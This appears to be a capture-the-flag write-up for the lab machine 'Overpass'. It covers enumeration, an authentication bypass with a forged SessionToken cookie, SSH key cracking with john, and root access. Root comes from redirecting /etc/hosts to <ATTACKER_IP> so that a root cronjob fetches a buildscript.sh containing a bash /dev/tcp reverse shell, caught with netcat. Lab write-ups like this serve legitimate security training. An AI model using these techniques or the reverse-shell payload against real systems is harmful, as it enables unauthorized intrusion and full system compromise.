Initial Information

What happens when some broke CompSci students make a password manager?

room link Created by NinjaJc01

Enumeration

As always we start with an nmap scan which reveals information about open ports and running services on the target system.

$ nmap -sC -sV -p- -oN scans/tcpfull 10.10.248.28
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 37:96:85:98:d1:00:9c:14:63:d9:b0:34:75:b1:f9:57 (RSA)
|   256 53:75:fa:c0:65:da:dd:b1:e8:dd:40:b8:f6:82:39:24 (ECDSA)
|_  256 1c:4a:da:1f:36:54:6d:a6:c6:17:00:27:2e:67:75:9c (ED25519)
80/tcp open  http    Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
|_http-title: Overpass
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

http - 80/tcp

A basic webpage talking about the password manager software they created.
Btw there is an interesting comment in the source:

<!--Yeah right, just because the Romans used it doesn't make it military grade, change this?-->

There is a downloads and an about us page.

On the downloads page we can see the go source which contains a comment about the encoding algorithm.

//Secure encryption algorithm from https://socketloop.com/tutorials/golang-rotate-47-caesar-cipher-by-47-characters-example

This means we have the correct algorithm which is ROT47 in this case.

On the /aboutus page we can see some users and their roles in the team.

Ninja          - Lead Developer
Pars           - Shibe Enthusiast and Emotional Support Animal Manager
Szymex         - Head Of Security
Bee            - Chief Drinking Water Coordinator
MuirlandOracle - Cryptography Consultant

Now, we have some users, some files but no possible entry point on the target box. We can try to do some directory {and,or} file bruteforcing on the web server.

$ gobuster dir -u http://10.10.248.28/ -w /opt/SecLists/Discovery/Web-Content/common.txt
/aboutus (Status: 301)
/admin (Status: 301)
/css (Status: 301)
/downloads (Status: 301)
/img (Status: 301)
/index.html (Status: 301)

As you can see there is a new endpoint /admin. There is a login form and some js files included.

<script src="/main.js"></script> - A useless hello world
<script src="/login.js"></script> - Contains some interesting stuff!
<script src="/cookie.js"></script> - Some default library stuff

We need the one in the middle! /login.js which contains some checking for authentication. Especially we need the login() function.

const creds = { username: usernameBox.value, password: passwordBox.value }
const response = await postData("/api/login", creds)
const statusOrCookie = await response.text()
if (statusOrCookie === "Incorrect credentials") {
	loginStatus.textContent = "Incorrect Credentials"
	passwordBox.value=""
} else {
	Cookies.set("SessionToken",statusOrCookie)
	window.location = "/admin"
}

Did you notice the if check? It check if statusOrCookie equals to "Incorrect credentials" if so then it will fail and print the error message.
If not, a cookie names SessionToken gets set and the website redirects to /admin.

We can try to request /admin with a SessionToken set.

$ curl http://10.10.248.28/admin -b 'SessionToken=asd' -L
<!DOCTYPE html>
<html>

<head>
    <meta charset="utf-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <title>Overpass</title>
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <link rel="stylesheet" type="text/css" media="screen" href="/css/main.css">
    <link rel="icon"
      type="image/png"
      href="/img/overpass.png" />
    <script src="/main.js"></script>
</head>

<body>
    <nav>
        <img class="logo" src="/img/overpass.svg" alt="Overpass logo">
        <h2 class="navTitle"><a href="/">Overpass</a></h2>
        <a href="/aboutus">About Us</a>
        <a href="/downloads">Downloads</a>
    </nav>
    <h1 class="pageHeading content">Welcome to the Overpass Administrator area</h1>
    <h3 class="subtitle content">A secure password manager with support for Windows, Linux, MacOS and more</h3>
    <div class="bodyFlexContainer content">
        <div>
            <p>Since you keep forgetting your password, James, I've set up SSH keys for you.</p>
            <p>If you forget the password for this, crack it yourself. I'm tired of fixing stuff for you.<br>
                Also, we really need to talk about this "Military Grade" encryption. - Paradox</p>
            <pre>-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,9F85D92F34F42626F13A7493AB48F337

LNu5wQBBz7pKZ3cc4TWlxIUuD/opJi1DVpPa06pwiHHhe8Zjw3/v+xnmtS3O+qiN
JHnLS8oUVR6Smosw4pqLGcP3AwKvrzDWtw2ycO7mNdNszwLp3uto7ENdTIbzvJal
73/eUN9XXXXXXXXXXXXXXXXXXXXXlNL4ZqsYY7rrvDxeCZJkgzQGzkB9wKgw1ljT
WDyy8qnXXXXXXXXXXXXXXXXXXXXXMfipTSR43FXXXXXXXXXXXXXXXXXXXXXXXXdv
BMXmr3xXXXXXXXXXXXXXXXXXXXXX0qRJ718G/uXXXXXXXXXXXXXXXXXXXXXXXXSZ
AL5bLQFXXXXXXXXXXXXXXXXXXXXXmsUIRwYK7wXXXXXXXXXXXXXXXXXXXXXXXXxR
3KwmS4DXXXXXXXXXXXXXXXXXXXXX6le1+wzZ/UXXXXXXXXXXXXXXXXXXXXXXXXUf
ABbRLLwXXXXXXXXXXXXXXXXXXXXXbFmXPoVwvWXXXXXXXXXXXXXXXXXXXXXXXXZk
VfW2gpmXXXXXXXXXXXXXXXXXXXXXiSlg1kRJKrXXXXXXXXXXXXXXXXXXXXXXXXeR
OkUOTMqXXXXXXXXXXXXXXXXXXXXXvzPM3rimRwXXXXXXXXXXXXXXXXXXXXXXXX8P
9BQukWbXXXXXXXXXXXXXXXXXXXXXA+pjTLqwU+XXXXXXXXXXXXXXXXXXXXXXXXze
eaPG5O4U9Fq0ZaYPkMlyJCzRVp43De4KKkyO5FXXXXXXXXXXXXXXXXXXXXXXXXcZ
4TXXXXXXXXXXXXXXXXXXXXXXw/7zG2LokKMnljXXXXXXXXXXXXXXXXXXXXXXXXM8
GFXXXXXXXXXXXXXXXXXXXXXXkbhOv7RfV5x7L36x3ZuCfBdlWkt/h2M5nowjcbYn
exXXXXXXXXXXXXXXXXXXXXXX9WPLhLRHaXXXXXXXXXXXXXXXXXXXXdbKsyasdCGy
AIXXXXXXXXXXXXXXXXXXXXXXzRYwT1LEFXXXXXXXXXXXXXXXXXXXX4MQpX6WL+wk
6pXXXXXXXXXXXXXXXXXXXXXXPFEspLHfpXXXXXXXXXXXXXXXXXXXXR6gpbGbAW58
dPXXXXXXXXXXXXXXXXXXXXXXS/WF+U90GXXXXXXXXXXXXXXXXXXXXJhzh8gdtT0i
n0XXXXXXXXXXXXXXXXXXXXXXiXnXjHEE1XXXXXXXXXXXXXXXXXXXXgXi9Bsy68qT
8HXXXXXXXXXXXXXXXXXXXXXX5AWtJsFmWXXXXXXXXXXXXXXXXXXXX7yxPXyfWm4K
4FXXXXXXXXXXXXXXXXXXXXXXNwcf/LW5dXXXXXXXXXXXXXXXXXXXXutP/GcA5l6z
ylqilOgj4+yiS813kNTjCJOwKRsXg2jKbXXXXXXXXXXXXXXXXXXXXy9bhn6a7WtS
49TxToi53ZB14+ougkL4svJyYYIRuQjrUmierXAdmbYF9wimhmLfelrMcofOHRW2
+hL1kHlTtJZU8Zj2Y2Y3hd6yRNJcIgCDrmLbn9C5M0d7g0h2BlFaJIZOYDS6J6Yk
2cWk/Mln7+OhAApAvDBKVM7/LGR9/sVPceEos6HTfBXbmsiV+eoFzUtujtymv8U7
-----END RSA PRIVATE KEY-----</pre>
        </div>
    </div>
</body>

</html> 

Foothold - cracking the ssh key

We can use john's ssh2john script to convert this encrypted key into a hash that john could crack.

$ python2 /usr/share/john/ssh2john.py adminrsa.priv > adminrsa.priv_hash.txt
$ john adminrsa.priv_hash.txt -w=/usr/share/wordlists/rockyou.txt
jXXXXX3          (adminrsa.priv)

Now, it's time to use it! First fix the ssh key's permission and then use it. When it prompts for a password just provide jXXXXX3 and hit enter.

$ chmod 600 adminrsa.priv
$ ssh james@10.10.248.28 -i adminrsa.priv
jXXXXX3

We got into the box as james!

james@overpass-prod:~$ id
uid=1001(james) gid=1001(james) groups=1001(james)

Privilege Escalation from james

Now, it's time to escalate our privileges from user james.

Basic manual enumeration

There is a /home/james/todo.txt file on the system which contains the following:

$ cat /home/james/todo.txt
To Do:
> Update Overpass' Encryption, Muirland has been complaining that it's not strong enough
> Write down my password somewhere on a sticky note so that I don't forget it.
  Wait, we make a password manager. Why don't I just use that?
> Test Overpass for macOS, it builds fine but I'm not sure it actually works
> Ask Paradox how he got the automated build script working and where the builds go.
  They're not updating on the website

There is also a /home/james/.overpass file which contains a rot47 encoded string. We can decrypt this using CyberChef or just use the /usr/bin/overpass binary to list all the passwords.

$ /usr/bin/overpass
Welcome to Overpass
Options:
1       Retrieve Password For Service
2       Set or Update Password For Service
3       Delete Password For Service
4       Retrieve All Passwords
5       Exit
Choose an option:       4
System   sXXXXXXXXXXXXXXXXXXe

We got the password for James which we can try out with sudo.

$ sudo -l
sXXXXXXXXXXXXXXXXXXe
Sorry, user james may not run sudo on overpass-prod.

Using a privesc-checker script

We can try to run some privilege escalation checker scipts like linpeas.sh.

After running the script on the target machine we can see an interesting line.

* * * * * root curl overpass.thm/downloads/src/buildscript.sh | bash

Exploitation

Checking for exploitability

Let's take a look what we can tamper with!

We can find a line in /etc/hosts related to overpass.thm:

127.0.0.1 overpass.thm

We can take a look at this file's permissions with a simple ls -l.

$ ls -l /etc/hosts
-rw-rw-rw- 1 root root 250 Jan 31 17:53 /etc/hosts

The plan

If we change 127.0.0.1 overpass.thm to <ATTACKER_IP> overpass.thm we can make the directory structure we saw in the cronjob locally and a custom buildscript.sh file which contains malicious code written by us! Then we just have to host this directory and wait until our custom file gets executed by the target's root user by the cronjob!

The execution

Setting up our attack environment locally:

$ mkdir tmp/downloads/src/ -p
$ echo "bash -c 'bash -i >& /dev/tcp/<ATTACKER_IP>/1337 0>&1'" > tmp/downloads/src/buildscript.sh

Now, we need to host the tmp directory using python3. And start our listener.

$ cd tmp
$ sudo python3 -m http.server 80

$ nc -lvnp 1337

Setting up the environment on the victim side:

vi /etc/hosts
<ATTACKER_IP> overpass.thm
listening on [any] 1337 ...
connect to [10.8.2.82] from (UNKNOWN) [10.10.248.28] 55206
bash: cannot set terminal process group (20790): Inappropriate ioctl for device
bash: no job control in this shell
root@overpass-prod:~# hostname;id
hostname;id
overpass-prod
uid=0(root) gid=0(root) groups=0(root)

Takeaways